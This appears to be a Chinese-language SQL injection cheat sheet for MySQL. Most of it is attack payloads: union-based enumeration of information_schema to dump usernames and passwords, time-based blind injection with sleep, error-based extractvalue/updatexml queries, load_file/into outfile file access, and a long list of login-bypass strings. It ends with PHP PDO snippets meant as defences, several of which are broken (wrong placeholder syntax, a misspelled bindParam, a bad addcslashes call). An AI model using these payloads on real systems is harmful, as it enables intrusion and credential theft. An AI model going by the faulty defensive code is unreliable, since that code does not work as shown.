sql注入

#‘host’的值为指定哪些ip可以登录，值为‘%’表示任何人可以登录,值为'localhost'仅允许本机登录
CREATE USER 'username'@'host' IDENTIFIED BY 'password';	  

#读取指定路径的文件内容
select load_file('c:/phpstudy/www/key.txt')

#向指定路径的文件写入内容
select '123' into outfile 'c:/flag.txt'

show global variables like '%secure%';

#sleep通常配合if语句实现时间盲注
select * from sqlfaker.news where id=1 and sleep(1)

#条件若为真,返回且执行ture,否则返回且执行false
select if(1=1,1,2)

#获取字符串的长度
select length(database())

limit(0,1) #0表示第一行,获取表第一行的内容
limit(1,1) #1表示第二行,获取表第二行的内容
limit(0,2) #获取表前面两行的内容

extractvalue(1,select database())
updatexml(1,select database(),0)

select * from news where id=1 or 1=1     #逻辑为真，返回正常页面
select * from news where id=1 and 1=2    #逻辑为假，返回其他页面

select * from news where id=1 order by 2     #可通过二分法来判断列名数量 

select * from news where id=1 union select 1,2   #看看哪个列名能显示值 

#从information_schema.schemata表中获取所有的数据库名字
select * from news where id=1 union select schema_name,2 from information_schema.schemata

#从information_schema.tables表中获取名为"sql"的数据库下的所有表名
select * from news where id=1 union select table_name,2 from information_schema.tables where table_schema="sql"

#从information_schema.columns获取名为"news"的表下的所有列名
select * from news where id=1 union select column_name,2 from information_schema.columns where table_name="news"

#从sql数据库的news表中获取列名为username和password的值
select * from news where id=1 union select username,password from sql.news

id=1 and sleep(if(length(database())=1,0,5))

#ord()转换成ASCII码
id=1 and sleep(if(ord(mid(database(),1,1))=115,0,5))

id=1 and sleep(if(ord(mid(database(),2,1))=115,0,5))

#从information_schema.tables表中猜名为"database"的数据库的表的长度
id=1 and sleep(if(length((select table_name from information_schema.tables where table_schema="database" limit 0,1))=5,0,5))

id=1 and sleep(if(length((select table_name from information_schema.tables where table_schema="database" limit 1,1))=5,0,5))

#从information_schema.tables表中猜名为"database"的数据库的表的名字
id=1 and sleep(if(ord(mid((select table_name from information_schema.tables where table_schema="database" limit 0,1),1,1))=115,0,5))

id=1 and sleep(if(ord(mid((select table_name from information_schema.tables where table_schema="database" limit 1,1),1,1))=115,0,5))

#从information_schema.columns表中猜名为"users"的表的字段的长度
id=1 and sleep(if(length((select column_name from information_schema.columns where table_name="users" limit 0,1))=1,0,5))

id=1 and sleep(if(length((select column_name from information_schema.columns where table_name="users" limit 1,1))=1,0,5))

#从information_schema.columns表中猜名为"users"的表的字段的名字
id=1 and sleep(if(ord(mid((select column_name from information_schema.columns where table_name="users" limit 0,1),1,1))=115,0,5))

id=1 and sleep(if(ord(mid((select column_name from information_schema.columns where table_name="users" limit 1,1),1,1))=115,0,5))

#从database.users表中猜用户和密码的长度
id=1 and sleep(if(length((select user,pass from database.users))=1,0,5))  

#从database.users表中猜用户和密码的内容
id=1 and sleep(if(ord(mid((select user,pass from database.users),1,1))=115,0,5))   

id=1 and length(database())=1

id=1 and ord(mid(database(),1,1))=115

#limit注入语句
select * from users where ID>0 order by ID limit 0,1 procedure analyse(extractvalue(1,concat(0x3a,version())),1)

set character_set_client=gbk

' or 1='1
'or'='or'
admin
admin'--
admin' or 4=4--
admin' or '1'='1'--
admin888
"or "a"="a
admin' or 2=2#
a' having 1=1#
a' having 1=1--
admin' or '2'='2
')or('a'='a
or 4=4--
c
a'or' 4=4--
"or 4=4--
'or'a'='a
"or"="a'='a
'or''='
'or'='or'
1 or '1'='1'=1
1 or '1'='1' or 4=4
'OR 4=4%00
"or 4=4%00
'xor
admin' UNION Select 1,1,1 FROM admin Where ''='
1
-1%cf' union select 1,1,1 as password,1,1,1 %23
1
17..admin' or 'a'='a 密码随便
'or'='or'
'or 4=4/*
something
' OR '1'='1
1'or'1'='1
admin' OR 4=4/*
1'or'1'='1

<?php
@$id = addcslashes($_GET['X']);  //对GET参数采取单双引号过滤机制
error_reporting(E_ALL ^ E_DEPRECATED);
$pdo = new PDO('mysql:host=localhost;dbname=test','root','root');  //创对象建PDO
$id = $pdo->quote($id);   //调用quote函数
$sql = "select * from users where id=$id";
if ($row = $pdo->query($sql)) {
	foreach($row as $key => $value){
		print_r($value);	
	}	
}
echo $sql;
?>

<?php
@$id = addcslashes($_GET['X']);
error_reporting(E_ALL ^ E_DEPRECATED);
$pdo = new PDO('mysql:host=localhost;dbname=test','root','root'); 
$sql = "select * from users where id:$id";  //定义sql语句
$stmt = $pdo->prepare($sql);    //预处理sql语句
$stmt->execute(array(":id"=>$id));   //execute参数为数组，执行预处理过的sql语句
echo $stmt->rowCount();   //返回执行sql语句后的结果命令行，大于0为成功，等于0为失败
?>

<?php
@$id = addcslashes($_GET['X']);
error_reporting(E_ALL ^ E_DEPRECATED);
$pdo = new PDO('mysql:host=localhost;dbname=test','root','root'); 
$sql = "select * from users where id=?";
$stmt = $pdo->prepare($sql);    //预处理sql语句
$stmt->execute(array($id));   //execute参数为数组，执行预处理过的sql语句
echo $stmt->rowCount();   //返回执行sql语句后的结果命令行，大于0为成功，等于0为失败
?>

<?php
@$id = addcslashes($_GET['X']);
error_reporting(E_ALL ^ E_DEPRECATED);
$pdo = new PDO('mysql:host=localhost;dbname=test','root','root'); 
$sql = "select * from users where id:$id";
$stmt = $pdo->prepare($sql);  //预处理sql语句
$stmt->bindParm(":id",$id,PDO::PARAM_STR);
$stmt->execute();
echo $stmt->rowCount();
?>